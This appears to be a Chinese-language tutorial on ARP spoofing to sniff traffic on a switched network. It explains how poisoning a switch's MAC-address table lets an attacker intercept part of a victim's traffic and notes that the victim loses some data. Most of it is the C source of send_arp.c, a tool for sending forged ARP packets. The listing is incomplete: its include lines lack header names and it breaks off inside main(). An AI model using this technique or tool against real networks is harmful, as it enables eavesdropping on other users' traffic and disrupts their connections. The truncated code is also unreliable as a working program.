arphdr
hwtype:1 protol:800H hw_size:6 pro_size:4 op:1
s_ha:52:54:4C:98:ED:F7 s_ip:10.5.3.3
d_ha:00:00:00:00:00:00 d_ip:10.5.3.3
然后就可以sniffer了。
原理:
交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表
所以你可以先来个ARP 欺骗,然后就可以监听了
不过需要指出,欺骗以后,同一个MAC地址就有两个端口号
yuange说，“这样其实就是一个竞争问题。”
好象ARP 以后,对整个网络会有点影响,不过我不敢确定
既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。
对被监听者会有影响，因为他掉了一部分数据。
当然还有其他一些应用，需要其他技术的配合。
以下是send_arp.c的源程序
/*
This program sends out one ARP packet with source/target IP
and Ethernet hardware addresses suuplied by the user. It
compiles and works on Linux and will probably work on any
Unix that has SOCK_PACKET. volobuev@t1.chem.umn.edu
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. yuri volobuev
usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};
struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};
void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);
int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}
number=atoi(argv[5]);
pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
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